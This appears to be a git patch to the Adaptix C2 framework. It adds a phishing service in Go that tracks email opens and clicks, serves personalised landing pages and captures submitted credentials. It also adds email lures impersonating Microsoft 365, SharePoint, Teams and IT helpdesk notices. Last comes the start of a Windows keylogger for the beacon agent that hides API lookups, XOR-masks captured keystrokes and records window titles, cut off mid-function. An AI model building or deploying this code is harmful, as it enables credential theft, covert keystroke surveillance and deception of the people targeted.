ListCampaigns() []Campaign { + var campaigns []Campaign + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return campaigns + } + + for _, key := range keys { + if strings.HasPrefix(key, "campaign:") { + data, err := s.ts.TsExtenderDataLoad(ExtenderName, key) + if err != nil { + continue + } + var c Campaign + if json.Unmarshal(data, &c) == nil { + campaigns = append(campaigns, c) + } + } + } + return campaigns +} + +// ============================================================================ +// Target CRUD +// ============================================================================ + +func (s *PhishingService) SaveTargets(campaignID string, targets []Target) error { + data, err := json.Marshal(targets) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "targets:"+campaignID, data) +} + +func (s *PhishingService) LoadTargets(campaignID string) []Target { + var targets []Target + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "targets:"+campaignID) + if err != nil { + return targets + } + json.Unmarshal(data, &targets) + return targets +} + +// ============================================================================ +// Result CRUD +// ============================================================================ + +func (s *PhishingService) SaveResults(campaignID string, results []Result) error { + data, err := json.Marshal(results) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "results:"+campaignID, data) +} + +func (s *PhishingService) LoadResults(campaignID string) []Result { + var results []Result + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "results:"+campaignID) + if err != nil { + return results + } + json.Unmarshal(data, &results) + return results +} + +// LoadResultByTrackingID searches all campaign results for a specific tracking ID. +func (s *PhishingService) LoadResultByTrackingID(trackingID string) (*Result, string) { + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return nil, "" + } + + for _, key := range keys { + if !strings.HasPrefix(key, "results:") { + continue + } + campaignID := strings.TrimPrefix(key, "results:") + results := s.LoadResults(campaignID) + for i := range results { + if results[i].ID == trackingID { + return &results[i], campaignID + } + } + } + return nil, "" +} + +// UpdateResult updates a specific result within its campaign's results. +func (s *PhishingService) UpdateResult(campaignID string, result *Result) error { + results := s.LoadResults(campaignID) + for i := range results { + if results[i].ID == result.ID { + results[i] = *result + return s.SaveResults(campaignID, results) + } + } + return fmt.Errorf("result not found") +} + +// ============================================================================ +// Campaign Stats +// ============================================================================ + +type CampaignStats struct { + TotalTargets int `json:"total_targets"` + Sent int `json:"sent"` + Opened int `json:"opened"` + Clicked int `json:"clicked"` + Submitted int `json:"submitted"` + Errors int `json:"errors"` +} + +func (s *PhishingService) GetCampaignStats(campaignID string) CampaignStats { + results := s.LoadResults(campaignID) + targets := s.LoadTargets(campaignID) + stats := CampaignStats{ + TotalTargets: len(targets), + } + for _, r := range results { + switch r.Status { + case "error": + stats.Errors++ + case "submitted": + stats.Submitted++ + stats.Clicked++ + stats.Opened++ + stats.Sent++ + case "clicked": + stats.Clicked++ + stats.Opened++ + stats.Sent++ + case "opened": + stats.Opened++ + stats.Sent++ + case "sent": + stats.Sent++ + } + } + return stats +} + +// ============================================================================ +// Helpers +// ============================================================================ + +func nowUnix() int64 { + return time.Now().Unix() +} diff --git a/AdaptixServer/extenders/phishing_service/pl_main.go b/AdaptixServer/extenders/phishing_service/pl_main.go new file mode 100644 index 000000000..8f42b3980 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_main.go @@ -0,0 +1,151 @@ +package main + +import ( + "encoding/json" + "net/http" + "sync" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsExtenderDataSave(extenderName string, key string, value []byte) error + TsExtenderDataLoad(extenderName string, key string) ([]byte, error) + TsExtenderDataDelete(extenderName string, key string) error + TsExtenderDataKeys(extenderName string) ([]string, error) + + TsEndpointRegisterPublicRaw(method string, path string, handler func(w http.ResponseWriter, r *http.Request)) error + TsEndpointUnregisterPublic(method string, path string) error + TsEndpointExistsPublic(method string, path string) bool + + TsServiceSendDataAll(service string, data string) + TsServiceSendDataClient(operator string, service string, data string) +} + +const ServiceName = "Phishing" +const ExtenderName = "phishing_service" + +type PhishingService struct { + ts Teamserver + moduleDir string + mu sync.RWMutex + stopChans map[string]chan struct{} // campaignID -> stop channel +} + +var ( + Ts Teamserver + ModuleDir string + Service *PhishingService +) + +func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService { + Ts = ts.(Teamserver) + ModuleDir = moduleDir + + Service = &PhishingService{ + ts: Ts, + moduleDir: moduleDir, + stopChans: make(map[string]chan struct{}), + } + + Service.RegisterEndpoints() + + return Service +} + +func (s *PhishingService) Call(operator string, function string, args string) { + switch function { + + case "campaign_create": + s.HandleCampaignCreate(operator, args) + + case "campaign_list": + s.HandleCampaignList(operator) + + case "campaign_delete": + s.HandleCampaignDelete(operator, args) + + case "campaign_start": + s.HandleCampaignStart(operator, args) + + case "campaign_stop": + s.HandleCampaignStop(operator, args) + + case "targets_import": + s.HandleTargetsImport(operator, args) + + case "targets_list": + s.HandleTargetsList(operator, args) + + case "targets_delete": + s.HandleTargetsDelete(operator, args) + + case "results_list": + s.HandleResultsList(operator, args) + + case "results_export": + s.HandleResultsExport(operator, args) + + case "templates_list": + s.HandleTemplatesList(operator) + + case "landers_list": + s.HandleLandersList(operator) + + case "template_preview": + s.HandleTemplatePreview(operator, args) + } +} + +// sendResponse sends a JSON response back to all connected clients via the service data channel. +func (s *PhishingService) sendResponseAll(msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +// sendResponseClient sends a JSON response to a specific operator. +func (s *PhishingService) sendResponseClient(operator string, msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} + +// sendEvent sends a real-time event notification to all clients. +func (s *PhishingService) sendEvent(eventType string, data interface{}) { + resp := map[string]interface{}{ + "type": "event", + "event": eventType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +// sendError sends an error message to a specific operator. +func (s *PhishingService) sendError(operator string, message string) { + resp := map[string]interface{}{ + "type": "error", + "message": message, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} diff --git a/AdaptixServer/extenders/phishing_service/pl_tracker.go b/AdaptixServer/extenders/phishing_service/pl_tracker.go new file mode 100644 index 000000000..3e4729900 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_tracker.go @@ -0,0 +1,253 @@ +package main + +import ( + "encoding/json" + "fmt" + "net/http" + "strings" +) + +// 1x1 transparent GIF +var transparentGIF = []byte{ + 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00, + 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x21, + 0xf9, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x02, 0x02, 0x44, + 0x01, 0x00, 0x3b, +} + +// RegisterEndpoints registers the public tracking endpoints. +func (s *PhishingService) RegisterEndpoints() { + s.ts.TsEndpointRegisterPublicRaw("GET", "/px/:id", s.HandleTrackingPixel) + s.ts.TsEndpointRegisterPublicRaw("GET", "/cl/:id", s.HandleClick) + s.ts.TsEndpointRegisterPublicRaw("GET", "/lp/:id", s.HandleLander) + s.ts.TsEndpointRegisterPublicRaw("POST", "/sb/:id", s.HandleSubmit) +} + +// extractPathID extracts the last segment of the URL path. +// For /px/abc123.png it returns "abc123" (stripping .png extension) +// For /cl/abc123 it returns "abc123" +func extractPathID(r *http.Request) string { + path := r.URL.Path + parts := strings.Split(path, "/") + if len(parts) == 0 { + return "" + } + last := parts[len(parts)-1] + // Strip .png extension for tracking pixel + last = strings.TrimSuffix(last, ".png") + return last +} + +func getRemoteIP(r *http.Request) string { + if xff := r.Header.Get("X-Forwarded-For"); xff != "" { + parts := strings.Split(xff, ",") + return strings.TrimSpace(parts[0]) + } + if xri := r.Header.Get("X-Real-IP"); xri != "" { + return xri + } + return strings.Split(r.RemoteAddr, ":")[0] +} + +// ============================================================================ +// GET /px/:id — Tracking Pixel +// ============================================================================ + +func (s *PhishingService) HandleTrackingPixel(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + w.Header().Set("Content-Type", "image/gif") + w.Write(transparentGIF) + return + } + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil && result.OpenedAt == 0 { + result.Status = statusMax(result.Status, "opened") + result.OpenedAt = nowUnix() + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("opened", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + w.Header().Set("Content-Type", "image/gif") + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + w.Header().Set("Pragma", "no-cache") + w.Write(transparentGIF) +} + +// ============================================================================ +// GET /cl/:id — Click Tracker +// ============================================================================ + +func (s *PhishingService) HandleClick(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil && result.ClickedAt == 0 { + result.Status = statusMax(result.Status, "clicked") + result.ClickedAt = nowUnix() + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("clicked", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + // Redirect to landing page + landerURL := fmt.Sprintf("/lp/%s", trackingID) + http.Redirect(w, r, landerURL, http.StatusFound) +} + +// ============================================================================ +// GET /lp/:id — Landing Page +// ============================================================================ + +func (s *PhishingService) HandleLander(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + s.mu.RLock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + s.mu.RUnlock() + + if result == nil { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + campaign, err := s.LoadCampaign(campaignID) + if err != nil { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + landerContent := s.loadLander(campaign.Lander) + if landerContent == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + submitURL := fmt.Sprintf("/sb/%s", trackingID) + replacer := strings.NewReplacer( + "{{.FirstName}}", result.FirstName, + "{{.LastName}}", result.LastName, + "{{.Email}}", result.Email, + "{{.Company}}", findTargetCompany(s, result.CampaignID, result.TargetID), + "{{.Position}}", findTargetPosition(s, result.CampaignID, result.TargetID), + "{{.TrackingID}}", trackingID, + "{{.SubmitURL}}", submitURL, + "{{.Subject}}", campaign.Subject, + ) + html := replacer.Replace(landerContent) + + w.Header().Set("Content-Type", "text/html; charset=utf-8") + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + w.Write([]byte(html)) +} + +// ============================================================================ +// POST /sb/:id — Credential Capture +// ============================================================================ + +func (s *PhishingService) HandleSubmit(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + r.ParseForm() + formData := make(map[string]string) + for key, values := range r.PostForm { + if len(values) > 0 { + formData[key] = values[0] + } + } + + submitJSON, _ := json.Marshal(formData) + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil { + result.Status = "submitted" + result.SubmitAt = nowUnix() + result.SubmitData = string(submitJSON) + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("submitted", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + redirectURL := "https://login.microsoftonline.com" + if campaignID != "" { + if campaign, err := s.LoadCampaign(campaignID); err == nil && campaign.RedirectURL != "" { + redirectURL = campaign.RedirectURL + } + } + + http.Redirect(w, r, redirectURL, http.StatusFound) +} + +// ============================================================================ +// Helpers +// ============================================================================ + +// statusMax returns the "higher" status in the progression chain. +func statusMax(current string, candidate string) string { + order := map[string]int{ + "sent": 1, + "opened": 2, + "clicked": 3, + "submitted": 4, + } + if order[candidate] > order[current] { + return candidate + } + return current +} + +func findTargetCompany(s *PhishingService, campaignID string, targetID string) string { + targets := s.LoadTargets(campaignID) + for _, t := range targets { + if t.ID == targetID { + return t.Company + } + } + return "" +} + +func findTargetPosition(s *PhishingService, campaignID string, targetID string) string { + targets := s.LoadTargets(campaignID) + for _, t := range targets { + if t.ID == targetID { + return t.Position + } + } + return "" +} diff --git a/AdaptixServer/extenders/phishing_service/templates/default_email.html b/AdaptixServer/extenders/phishing_service/templates/default_email.html new file mode 100644 index 000000000..dabea2c8d --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/default_email.html @@ -0,0 +1,54 @@ + + + + + + + + + + + +
      + + + + + + + + + + + + + + + + + +
      +

      Document Shared With You

      +
      +

      Dear {{.FirstName}},

      + +

      A document has been shared with you that requires your review. Please click the link below to access it securely.

      + + + + + +
      +View Document +
      + +

      If the button doesn't work, copy and paste this link into your browser:

      +

      {{.ClickURL}}

      + +

      This link will expire in 24 hours.

      +
      +

      This is an automated notification. Please do not reply to this email.

      +
      +
      + + diff --git a/AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html b/AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html new file mode 100644 index 000000000..727fb63ba --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html @@ -0,0 +1,62 @@ + + + + + + + + + +
      + + + + + + + + + + + +
      + + + +
      IT Service DeskHIGH PRIORITY
      +
      +

      Hello {{.FirstName}},

      + +

      A support ticket has been opened on your behalf due to unusual activity detected on your account. Please review the details below and take action to secure your account.

      + + + + + +
      +Ticket #INC-2024-78432 +
      + + + + + + +
      Status:● Awaiting User Action
      Priority:High
      Category:Account Security
      Affected User:{{.Email}}
      Description:Multiple failed login attempts detected from an unrecognized location. Password verification required.
      +
      + + + +
      +Verify Identity & Secure Account +
      + +

      If you recognize this activity, you can safely close this ticket after verification.

      +

      If you do not recognize this activity, please verify your identity immediately and change your password.

      +
      +

      {{.Company}} IT Service Desk • Automated Notification

      +

      Hours: Mon-Fri 8:00 AM - 6:00 PM • ext. 4357 (HELP)

      +
      +
      + + diff --git a/AdaptixServer/extenders/phishing_service/templates/mfa_setup.html b/AdaptixServer/extenders/phishing_service/templates/mfa_setup.html new file mode 100644 index 000000000..f96ca7df2 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/mfa_setup.html @@ -0,0 +1,65 @@ + + + + + + + + + +
      + + + + + + + + + + + +
      + + + +
      Microsoft 365 SecuritySecurity Update
      +
      +

      🔒 Multi-Factor Authentication Enrollment Required

      + +

      Dear {{.FirstName}},

      + +

      As part of our ongoing commitment to security, {{.Company}} is requiring all employees to enroll in Multi-Factor Authentication (MFA) by the end of this week.

      + +

      To complete enrollment:

      + + + + + + + +
      1.Sign in to verify your identity
      2.Follow the guided setup wizard
      3.Choose your preferred authentication method
      + + + +
      +Start MFA Enrollment +
      + + + + +
      +

      Why is this important?

      +

      MFA adds an extra layer of protection to your account. Even if your password is compromised, unauthorized access is prevented without your second factor.

      +
      + +

      Employees who do not complete enrollment by the deadline may experience limited access to company resources.

      +
      +

      {{.Company}} IT Department • Microsoft 365 Administration

      +

      This email was sent to {{.Email}}. Do not reply to this email.

      +
      +
      + + diff --git a/AdaptixServer/extenders/phishing_service/templates/password_expiry.html b/AdaptixServer/extenders/phishing_service/templates/password_expiry.html new file mode 100644 index 000000000..bcddf2fd4 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/password_expiry.html @@ -0,0 +1,61 @@ + + + + + + + + + +
      + + + + + + + + + + + + + + +
      + + + +
      IT SecurityAction Required
      +
      + + + +
      Password Expiration Notice — Your password will expire in 24 hours.
      +
      +

      Hello {{.FirstName}},

      + +

      Our records indicate that your account password for {{.Email}} is scheduled to expire within the next 24 hours. To avoid any disruption to your access, please update your password immediately.

      + +

      What happens if you don't act:

      +
        +
      • You will be locked out of email, VPN, and internal systems
      • +
      • Active sessions will be terminated
      • +
      • You will need to contact IT support to regain access
      • +
      + + + +
      +Update Password Now +
      + +

      This link will expire in 24 hours for security purposes.

      +

      If you did not request this change, please contact IT support immediately.

      +
      +

      This is an automated message from {{.Company}} IT Security.

      +

      Please do not reply to this email. Ref: SEC-{{.TrackingID}}

      +
      +
      + + diff --git a/AdaptixServer/extenders/phishing_service/templates/shared_document.html b/AdaptixServer/extenders/phishing_service/templates/shared_document.html new file mode 100644 index 000000000..435aa13a5 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/shared_document.html @@ -0,0 +1,64 @@ + + + + + + + + + +
      + + + + + + + + + + + +
      + + + +
      +S +SharePoint +Online
      +
      +

      Document Shared

      + +

      {{.SenderName}} shared a file with you

      + + + + +
      + + + +
      +
      W
      +
      +

      Q3 Financial Report - Confidential.docx

      +

      Modified {{.SenderName}} • 245 KB

      +
      +
      + +

      {{.FirstName}}, please review this document at your earliest convenience and provide your feedback.

      + + + +
      +Open Document +
      + +

      You can also access this document from your SharePoint Online portal.

      +
      +

      Microsoft SharePoint • You're receiving this because {{.Email}} has access to this document.

      +
      +
      + + diff --git a/AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html b/AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html new file mode 100644 index 000000000..9b75ace9e --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html @@ -0,0 +1,72 @@ + + + + + + + + + +
      + + + + + + + + + + + +
      + + + +
      Microsoft TeamsVoicemail
      +
      +

      📞 You have a new voicemail

      + +

      Hi {{.FirstName}},

      + +

      You received a voicemail from an external caller. The message has been transcribed and is available for review.

      + + + + + +
      + + + + + +
      +
      ?
      +
      +

      Unknown Caller

      +

      +1 (555) 012-3456

      +

      Duration: 0:47 • Today at 2:34 PM

      +
      +
      +

      "Hi {{.FirstName}}, this is regarding your recent inquiry. I have some important information to share with you. Please call me back or review the details I've sent. Thank you."

      +
      + + + + + + +
      +▶ Play Voicemail + +View in Teams +
      + +

      This message was delivered to {{.Email}} via Microsoft Teams.

      +
      +

      Microsoft Teams • {{.Company}} • Manage notifications

      +
      +
      + + From 26cde06300a23527b39e1257b1dfffa4481dcb4a Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 20:47:05 +0200 Subject: [PATCH 07/11] feat: add keylogger module for beacon agent Keylogger.cpp/h: Windows keylogging capability using low-level keyboard hooks (SetWindowsHookExA). Captures keystrokes with window context and reports via async job output. --- .../src_beacon/beacon/Keylogger.cpp | 299 ++++++++++++++++++ .../src_beacon/beacon/Keylogger.h | 11 + 2 files changed, 310 insertions(+) create mode 100644 AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp create mode 100644 AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp new file mode 100644 index 000000000..4248591ad --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp @@ -0,0 +1,299 @@ +#include "Keylogger.h" +#include "ApiLoader.h" +#include "ProcLoader.h" +#include "ApiDefines.h" +#include "DebugLog.h" +#include "Obfuscate.h" +#include "utils.h" +#include "WaitMask.h" + +// ─── user32 function typedefs ─────────────────────────────────────────────── + +typedef SHORT (WINAPI *fnGetAsyncKeyState)(int vKey); +typedef BOOL (WINAPI *fnGetKeyboardState)(PBYTE lpKeyState); +typedef int (WINAPI *fnToUnicode)(UINT wVirtKey, UINT wScanCode, const BYTE *lpKeyState, + LPWSTR pwszBuff, int cchBuff, UINT wFlags); +typedef UINT (WINAPI *fnMapVirtualKeyW)(UINT uCode, UINT uMapType); +typedef HWND (WINAPI *fnGetForegroundWindow)(void); +typedef int (WINAPI *fnGetWindowTextW)(HWND hWnd, LPWSTR lpString, int nMaxCount); +typedef DWORD (WINAPI *fnGetWindowThreadProcessId)(HWND hWnd, LPDWORD lpdwProcessId); + +struct User32Api { + fnGetAsyncKeyState GetAsyncKeyState; + fnGetKeyboardState GetKeyboardState; + fnToUnicode ToUnicode; + fnMapVirtualKeyW MapVirtualKeyW; + fnGetForegroundWindow GetForegroundWindow; + fnGetWindowTextW GetWindowTextW; + fnGetWindowThreadProcessId GetWindowThreadProcessId; +}; + +// ─── XOR buffer helpers ───────────────────────────────────────────────────── + +#define KEYLOG_BUFFER_SIZE 4096 +#define KEYLOG_FLUSH_THRESH 256 +#define XOR_KEY_LEN 16 +#define TITLE_INTERVAL_MS 30000 + +static void XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen) +{ + for (ULONG i = 0; i < len; i++) + buf[i] ^= key[i % keyLen]; +} + +static BOOL FlushBuffer(BYTE* buf, ULONG* pLen, BYTE* xorKey, HANDLE pipeWrite) +{ + if (*pLen == 0) + return TRUE; + + // Decrypt in place + XorBuffer(buf, *pLen, xorKey, XOR_KEY_LEN); + + // Write cleartext to pipe + DWORD written = 0; + BOOL ok = ApiWin->WriteFile(pipeWrite, buf, *pLen, &written, NULL); + + // Zero and reset + memset(buf, 0, *pLen); + *pLen = 0; + + // Rotate XOR key + GenerateRandomBytes(xorKey, XOR_KEY_LEN); + + return ok; +} + +static void BufferAppend(BYTE* buf, ULONG* pLen, const BYTE* data, ULONG dataLen, + BYTE* xorKey, HANDLE pipeWrite) +{ + ULONG remaining = dataLen; + const BYTE* src = data; + + while (remaining > 0) { + ULONG space = KEYLOG_BUFFER_SIZE - *pLen; + ULONG chunk = (remaining < space) ? remaining : space; + + // XOR encrypt into buffer + for (ULONG i = 0; i < chunk; i++) { + buf[*pLen + i] = src[i] ^ xorKey[(*pLen + i) % XOR_KEY_LEN]; + } + *pLen += chunk; + src += chunk; + remaining -= chunk; + + // Flush if buffer full or above threshold + if (*pLen >= KEYLOG_FLUSH_THRESH) { + FlushBuffer(buf, pLen, xorKey, pipeWrite); + } + } +} + +static void BufferAppendStr(BYTE* buf, ULONG* pLen, const char* str, + BYTE* xorKey, HANDLE pipeWrite) +{ + BufferAppend(buf, pLen, (const BYTE*)str, StrLenA(str), xorKey, pipeWrite); +} + +// ─── Resolve user32 APIs via PEB walk ─────────────────────────────────────── + +static BOOL ResolveUser32(User32Api* api) +{ + memset(api, 0, sizeof(User32Api)); + + // Try PEB walk first (user32 may already be loaded) + HMODULE hUser32 = GetModuleAddress(HASH_LIB_USER32); + DBG("[keylog] PEB walk user32: %p", hUser32); + + // Fallback: load it + if (!hUser32) { + auto _u32 = OBF("user32.dll"); + hUser32 = ApiWin->LoadLibraryA(_u32); + DBG("[keylog] LoadLibrary user32: %p", hUser32); + } + + if (!hUser32) { + DBG("[keylog] FAIL: user32 not found"); + return FALSE; + } + + api->GetAsyncKeyState = (fnGetAsyncKeyState) GetSymbolAddress(hUser32, HASH_FUNC_GETASYNCKEYSTATE); + api->GetKeyboardState = (fnGetKeyboardState) GetSymbolAddress(hUser32, HASH_FUNC_GETKEYBOARDSTATE); + api->ToUnicode = (fnToUnicode) GetSymbolAddress(hUser32, HASH_FUNC_TOUNICODE); + api->MapVirtualKeyW = (fnMapVirtualKeyW) GetSymbolAddress(hUser32, HASH_FUNC_MAPVIRTUALKEYW); + api->GetForegroundWindow = (fnGetForegroundWindow) GetSymbolAddress(hUser32, HASH_FUNC_GETFOREGROUNDWINDOW); + api->GetWindowTextW = (fnGetWindowTextW) GetSymbolAddress(hUser32, HASH_FUNC_GETWINDOWTEXTW); + api->GetWindowThreadProcessId = (fnGetWindowThreadProcessId)GetSymbolAddress(hUser32, HASH_FUNC_GETWINDOWTHREADPROCESSID); + + DBG("[keylog] APIs: AsyncKey=%p KbState=%p ToUni=%p MapVK=%p FgWnd=%p WndTxt=%p", + api->GetAsyncKeyState, api->GetKeyboardState, api->ToUnicode, + api->MapVirtualKeyW, api->GetForegroundWindow, api->GetWindowTextW); + + // Verify critical APIs + if (!api->GetAsyncKeyState || !api->GetKeyboardState || !api->ToUnicode || !api->MapVirtualKeyW) { + DBG("[keylog] FAIL: critical API missing"); + return FALSE; + } + + return TRUE; +} + +// ─── Process individual key press ─────────────────────────────────────────── + +static void ProcessKey(User32Api* api, int vk, BYTE* buf, ULONG* pLen, + BYTE* xorKey, HANDLE pipeWrite) +{ + // Ignore modifier keys + if (vk == VK_SHIFT || vk == VK_LSHIFT || vk == VK_RSHIFT || + vk == VK_CONTROL || vk == VK_LCONTROL || vk == VK_RCONTROL || + vk == VK_MENU || vk == VK_LMENU || vk == VK_RMENU || + vk == VK_CAPITAL || vk == VK_NUMLOCK || vk == VK_SCROLL) + return; + + // Special keys + switch (vk) { + case VK_RETURN: BufferAppendStr(buf, pLen, "[RET]\n", xorKey, pipeWrite); return; + case VK_BACK: BufferAppendStr(buf, pLen, "[BS]", xorKey, pipeWrite); return; + case VK_TAB: BufferAppendStr(buf, pLen, "[TAB]", xorKey, pipeWrite); return; + case VK_ESCAPE: BufferAppendStr(buf, pLen, "[ESC]", xorKey, pipeWrite); return; + case VK_DELETE: BufferAppendStr(buf, pLen, "[DEL]", xorKey, pipeWrite); return; + case VK_LEFT: BufferAppendStr(buf, pLen, "[<]", xorKey, pipeWrite); return; + case VK_RIGHT: BufferAppendStr(buf, pLen, "[>]", xorKey, pipeWrite); return; + case VK_UP: BufferAppendStr(buf, pLen, "[UP]", xorKey, pipeWrite); return; + case VK_DOWN: BufferAppendStr(buf, pLen, "[DN]", xorKey, pipeWrite); return; + case VK_SPACE: BufferAppendStr(buf, pLen, " ", xorKey, pipeWrite); return; + default: break; + } + + // Printable: use GetKeyboardState + ToUnicode + BYTE kbState[256]; + if (!api->GetKeyboardState(kbState)) + return; + + UINT scanCode = api->MapVirtualKeyW(vk, 0); // MAPVK_VK_TO_VSC + WCHAR unicodeBuf[4] = { 0 }; + int result = api->ToUnicode(vk, scanCode, kbState, unicodeBuf, 4, 0); + + if (result > 0) { + // Convert to UTF-8 + char utf8Buf[16] = { 0 }; + int utf8Len = ApiWin->WideCharToMultiByte(CP_UTF8, 0, unicodeBuf, result, + utf8Buf, sizeof(utf8Buf) - 1, NULL, NULL); + if (utf8Len > 0) { + BufferAppend(buf, pLen, (BYTE*)utf8Buf, utf8Len, xorKey, pipeWrite); + } + } + // result == 0 or < 0 (dead key): ignore +} + +// ─── Process window title change ──────────────────────────────────────────── + +static void ProcessWindowTitle(User32Api* api, HWND* pLastHwnd, BYTE* buf, ULONG* pLen, + BYTE* xorKey, HANDLE pipeWrite) +{ + if (!api->GetForegroundWindow || !api->GetWindowTextW) + return; + + HWND fg = api->GetForegroundWindow(); + if (!fg || fg == *pLastHwnd) + return; + + *pLastHwnd = fg; + + // Get PID + DWORD pid = 0; + if (api->GetWindowThreadProcessId) + api->GetWindowThreadProcessId(fg, &pid); + + // Get window title (wide) + WCHAR titleW[256] = { 0 }; + int titleLen = api->GetWindowTextW(fg, titleW, 255); + if (titleLen <= 0) + return; + + // Convert to UTF-8 + char titleUtf8[512] = { 0 }; + int utf8Len = ApiWin->WideCharToMultiByte(CP_UTF8, 0, titleW, titleLen, + titleUtf8, sizeof(titleUtf8) - 1, NULL, NULL); + if (utf8Len <= 0) + return; + + // Format: \n[PID:1234] Window Title\n + char header[600] = { 0 }; + ApiWin->snprintf(header, sizeof(header) - 1, "\n[PID:%lu] ", pid); + BufferAppendStr(buf, pLen, header, xorKey, pipeWrite); + BufferAppend(buf, pLen, (BYTE*)titleUtf8, utf8Len, xorKey, pipeWrite); + BufferAppendStr(buf, pLen, "\n", xorKey, pipeWrite); +} + +// ─── Worker thread entry point ────────────────────────────────────────────── + +DWORD WINAPI KeylogWorker(LPVOID lpParam) +{ + KeylogConfig* cfg = (KeylogConfig*)lpParam; + if (!cfg || !cfg->pipeWrite) { + DBG("[keylog] FAIL: invalid config or pipe"); + return 1; + } + + DBG("[keylog] Worker started, pipe=%p, poll=%lu ms", cfg->pipeWrite, cfg->pollIntervalMs); + + // Resolve user32 APIs + User32Api u32; + if (!ResolveUser32(&u32)) { + DBG("[keylog] FAIL: ResolveUser32 failed"); + memset(&u32, 0, sizeof(u32)); + return 2; + } + + // Allocate encrypted buffer on heap (zeroed) + BYTE* buffer = (BYTE*)MemAllocLocal(KEYLOG_BUFFER_SIZE); + if (!buffer) { + DBG("[keylog] FAIL: buffer alloc failed"); + memset(&u32, 0, sizeof(u32)); + return 3; + } + ULONG bufLen = 0; + DBG("[keylog] Polling loop starting..."); + + // Generate XOR key + BYTE xorKey[XOR_KEY_LEN]; + GenerateRandomBytes(xorKey, XOR_KEY_LEN); + + // Window title tracking + HWND lastHwnd = NULL; + ULONG titleCounter = 0; + ULONG titleCheckInterval = TITLE_INTERVAL_MS / (cfg->pollIntervalMs ? cfg->pollIntervalMs : 100); + + // Main polling loop + while (InterlockedCompareExchange(&cfg->active, 1, 1) == 1) { + + // Poll all virtual keys + for (int vk = 0x08; vk <= 0xFE; vk++) { + SHORT state = u32.GetAsyncKeyState(vk); + if (state & 0x0001) { + ProcessKey(&u32, vk, buffer, &bufLen, xorKey, cfg->pipeWrite); + } + } + + // Periodic window title check + titleCounter++; + if (titleCounter >= titleCheckInterval) { + titleCounter = 0; + ProcessWindowTitle(&u32, &lastHwnd, buffer, 